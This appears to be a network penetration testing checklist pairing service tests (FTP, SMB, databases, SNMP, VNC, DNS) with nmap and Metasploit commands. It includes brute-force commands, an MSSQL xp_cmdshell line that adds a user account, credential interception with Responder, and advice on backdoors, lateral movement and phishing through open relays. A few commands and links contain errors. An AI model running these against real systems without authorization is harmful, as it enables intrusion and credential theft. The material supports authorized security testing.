

Network Infrastructure Penetration Testing Checklist

Group	Test description	Commands/tools	Look for	Result
Unencrypted communication	Check if Telnet is enabled and identify version	nmap -p23 target_ip Alternative tools to identify version number: Metasploit module "auxiliary/scanner/telnet/telnet_version"	Check if Telnet is enabled. It should <i>not</i> be since it is often unencrypted If Telnet is available, identify version number and search for known exploits on vulndb, cvedetails etc.	
IPMI	Brute force IPMI credentials	nmap -sU --script ipmi-brute -p 623 target_ip	If successful gather information and use credentials for further exploitation List of well known credentials: https://github.com/netbiosX/Default-Credentials/blob/master/IPMI-Default-Password-List.md	
IPMI	Check for IPMI authentication bypass	nmap -sU --script ipmi-cipher-zero -p 623 target_ip	Check if IPMI encryption can be bypassed	
FTP	Check FTP bounce port scan	nmap -sV sC -p21 target_ip	Checks if FTP server allows port scanning using the FTP bounce method	
FTP	FTP version number	Metasploit module: "auxiliary/scanner/ftp/ftp_version" Alternative check for version number is: nmap -sV sC -p21 target_ip	Look for vulnerabilities in the identified FTP server software on vulndb, cvedetails etc.	
FTP	FTP anonymous login	Metasploit module: "auxiliary/scanner/ftp/anonymous" Alternative check for anonymous login is: nmap -sV sC -p21 target_ip	Check if anonymous login is allowed	
FTP	Check if FTP server login can be brute forced	nmap --script ftp-brute -p21 target_ip Alternative tools is Metasploit module: "auxiliary/scanner/ftp/ftp_login"	Use username/password lists (several built-in to Kali) to test if you can gain access to the FTP server.	
FTP	Check vsFTPD backdoor	nmap --script ftp-vsftpd-backdoor -p 21 target_ip	Check well known vsFTPD backdoor, if vulnerable gain access and gather information for further exploitation	

FTP	Check ProFTPD backdoor	<code>nmap --script ftp-proftpd-backdoor -p 21 target_ip</code>	Check well known ProFTPD backdoor, if vulnerable gain access and gather information for further exploitation	
FTP	Check FTPd OPIE off by one vulnerability	<code>nmap -sV --script=ftp-libopie target_ip</code>	Check well known FTPd OPIE vulnerability, if vulnerable gain access and gather information for further exploitation	
TFTP	Identify TFTP servers and check if login can be brute forced	Metasploit module: "auxiliary/scanner/tftp/tftpb brute"	Use username/password lists (several built-in to Kali) to test if you can gain access to the database server.	
Database	Check database version (MySQL/MariaDB, MSSQL and Oracle)	<code>nmap -sV -sC -p3306,1433,1521 target_ip</code> Alternative tools for MySQL: Metasploit module "auxiliary/scanner/mysql/mysql_version"	Look for vulnerabilities in the identified database server software on vulndb, cvedetails etc.	
Database	Check if MySQL server login can be brute forced	Metasploit module: "auxiliary/scanner/mysql/mysql_login" Alternative tool: <code>nmap -p3306 --script=mysql-brute target_ip</code>	Use username/password lists (several built-in to Kali) to test if you can gain access to the database server.	
Database	Check if MSSQL server login can be brute forced	<code>nmap -p1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt <host></code>	Use username/password lists (several built-in to Kali) to test if you can gain access to the database server.	
Database	Check for command execution on MSSQL server	<code>nmap -p 445 --script ms-sql-discover,ms-sql-empty-password,ms-sql-xp-cmdshell target_ip</code> <code>nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd="net user test test /add" target_ip</code>	If vulnerable gain access, execute commands, create backdoor for persistence and gather information for further exploitation	
Database	Check if Oracle server login can be brute forced	<code>nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL target_ip</code> Alternative: <code>nmap --script oracle-brute-stealth -p 1521 --script-args oracle-brute-stealth.sid=ORCL target_ip</code>	Use username/password lists (several built-in to Kali) to test if you can gain access to the database server.	

Database	Oracle TNS poison	Metasploit module "auxiliary/scanner/oracle/tnspoison_checker"	Register a new database service with the Oracle database and gather database traffic. Look for user sessions, credentials, sensitive information etc.	
Authentication	Check if SSH login can be brute forced	nmap -p22 --script ssh-brute --script-args userdb=users.lst,passdb=pass.lst --script-args ssh-brute.timeout=4s target_ip Alternative tool: Metasploit module "auxiliary/scanner/ssh/ssh_login"	Use username/password lists (several built-in to Kali) to test if you can gain access via SSH. Be aware that SSH typically enforces lockout, which may block the users you try to log in with.	
Authentication	Check if Telnet login can be brute forced	nmap -p23 --script telnet-brute --script-args userdb=myusers.lst,passdb=mypwds.lst,telnet-brute.timeout=8s target_ip Alternative tool: Metasploit module "auxiliary/scanner/telnet/telnet_login"	Use username/password lists (several built-in to Kali) to test if you can gain access via Telnet.	
Authentication	Check if XMPP login can be brute forced	nmap -p 5222 --script xmpp-brute target_ip	Use username/password lists (several built-in to Kali) to test if you can gain access via XMPP.	
Mail server	Identify mail server version	nmap -sV -p25,110,143,465,587,993 target_ip Alternative tool for IMAP: Metasploit module "auxiliary/scanner/imap/imap_version" Alternative tool for POP3: Metasploit module "auxiliary/scanner/pop3/pop3_version" Alternative tool for SMTP: Metasploit module "auxiliary/scanner/smtp/smtp_version"	Look for vulnerabilities in the identified mail server software on vulndb, cvedetails etc.	
Mail server	Check if POP3 server login can be brute forced	nmap -sV --script=pop3-brute target_ip	Use username/password lists (several built-in to Kali) to test if you can gain access via POP3.	
Mail server	Check if IMAP server login can be brute forced	nmap -p 143,993 --script imap-brute target_ip	Use username/password lists (several built-in to Kali) to test if you can gain access via IMAP.	

Mail server	Check if SMTP server login can be brute forced	<code>nmap -p25 --script smtp-brute target_ip</code>	Use username/password lists (several built-in to Kali) to test if you can gain access via SMTP.	
Mail server	Check for open mail relay	Metasploit module: "auxiliary/scanner/smtp/smtp_relay" Alternative tool: <code>nmap --script smtp-open-relay.nse [--script-args smtp-open-relay.domain=<domain>,smtp-open-relay.ip=<address>,...] -p 25,465,587 target_ip</code>	If vulnerable use mail relay to send phishing emails	
Information disclosure	Check SSH version	<code>nmap -sV -p22 target_ip</code>	Look for vulnerabilities in the identified SSH version on vulndb, cvedetails etc.	
Information disclosure	Check web server version	<code>nmap -sV -p80,443,8080,8000,8443 target_ip</code>	Look for vulnerabilities in the identified web server on vulndb, cvedetails etc.	
Information disclosure	Check operating system version	<code>nmap -O target_ip</code>	Look for vulnerabilities in the identified OS version on vulndb, cvedetails etc.	
Information disclosure	Check VPN version	<code>nmap -sV -p501, 502, 1723 target_ip</code> <code>nmap -sV -sU -p1194,9201,1197,1198,500,1701 target_ip</code>	Look for vulnerabilities in the identified VPN server software on vulndb, cvedetails etc.	
SNMP	Enumerate system info via SNMP	Metasploit module: "auxiliary/scanner/snmp/snmp_enum" Alternative tools: <code>snmpenum, snmpcheck, snmpwalk</code>	Look for system information, version numbers etc. Then look for vulnerabilities in the on vulndb, cvedetails etc.	
SNMP	Enumerate system users via SNMP	Metasploit module: "auxiliary/scanner/snmp/snmp_enumusers"	Identify users and use these for further investigation	
SNMP	Enumerate system shares via SNMP	Metasploit module: "auxiliary/scanner/snmp/snmp_enumshares"	Identify shares, access these if possible and gather info	
SNMP	Enumerate SNMP community strings	Metasploit module: "auxiliary/scanner/snmp/snmp_login"	Find community strings, then use these strings to gather more info using the other SNMP tools mentioned above	
SMB	MS08-067 RCE	<code>nmap --script smb-vuln-ms08-067.nse -p445 target_ip</code>	Check if target is vulnerable to MS08-067, which could lead to remote code execution. If yes, then use Metasploit module to exploit	
SMB	MS10-054 remove memory corruption vulnerability	<code>nmap -p 445 target_ip --script=smb-vuln-ms10-054 --script-args unsafe</code>	If vulnerable, exploit to gain remote code execution	

SMB	MS10-061 Printer spooler impersonation vulnerability	<code>nmap -p 445 target_ip --script=smb-vuln-ms10-061</code>	If vulnerable, exploit to gain remote code execution	
SMB	Eternal Blue vulnerability	<code>nmap -p445 --script smb-vuln-ms17-010 target_ip</code>	Check if target is vulnerable to Eternal Blue. If yes, then use Metasploit module to exploit	
SMB	Outdated SMB versions	<code>nmap -p445 --script smb-protocols target_ip</code> Alternative tools: Metasploit module: "auxiliary/scanner/smb/smb_version"	Check that SMB version in use on target is at least version 3.	
SMB	Check if SMB login can be brute forced	Metasploit module: auxiliary/scanner/smb/smb_login	Use username/password lists (several built-in to Kali) to test if you can gain access via SMB.	
SSL/TLS	Check SSL/TLS configuration	<code>sslsan target_ip</code>	Check for weak algorithms (fx. MD5, DES etc.). Check cipher strength is not below 128 bits) Check SSL/TLS version. Should only support TLS v1.1 and above, preferably only 1.2 and above.	
DNS	Check zone transfer	<code>nmap --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=<domain></code>	If vulnerable, fetch all DNS records, and perform further enumeration for newly discovered services	
DNS	DNS cache snooping	<code>nmap -sU -p 53 --script dns-cache-snoop.nse --script-args 'dns-cache-snoop.mode=timed,dns-cache-snoop.domains={host1,host2,host3}' target_ip</code>	If vulnerable, check DNS cache contents and see where company employees browse the internet	
RDP	Remote Desktop encryption	<code>nmap -p 3389 --script rdp-enum-encryption target_ip</code>	Check supported encryption algorithms for RDP service. Only High security and FIPS compliant ciphers should be supported. Also NLA (Network Level Authentication) should be enabled	
VNC	Check if VNC server login can be brute forced	Metasploit module: auxiliary/scanner/vnc/vnc_login Alternative tool: <code>nmap --script vnc-brute -p 5900 target_ip</code>	Use username/password lists (several built-in to Kali) to test if you can gain access via VNC.	
VNC	Check for VNC servers that do not require authentication	Metasploit module: auxiliary/scanner/vnc/vnc_non_auth	If vulnerable gain access and gather information for further exploitation	

VNC	Check if VNC server is vulnerable to RealVNC authentication bypass	<code>nmap -sV --script=realvnc-auth-bypass target_ip</code>	If vulnerable gain access and gather information for further exploitation	
Credentials	Intercept Windows domain credentials	<code>responder.py -l eth0 -rPv</code>	Run responder and intercept credentials using LLMNR, NBT-NS and MDNS poisoning. Once credentials are intercepted, use to log on to servers and move laterally	
JBOSS	Check for known JBOSS vulnerabilities	<code>python jexboss.py -u http://target_ip:8080</code> Tool available from: https://github.com/0xa0mat0sf/iexboss	Review results from tool and exploit if any are vulnerable	
Apache Tomcat	Check for GhostCat vulnerability	<code>xray webscan --plugins cmd_injection,sqldet --url http://domain.tld</code> Tool available from: https://github.com/chaitin/xray/	Manually verify results. See more info on: https://www.chaitin.cn/en/ghostcat	
Other/automated tools	Run automated vulnerability scanner	OpenVAS Nessus Qualys Nexpose/InsightVM	Manually verify results results from scanners. If any vulnerabilities found try to exploit and gain additional access.	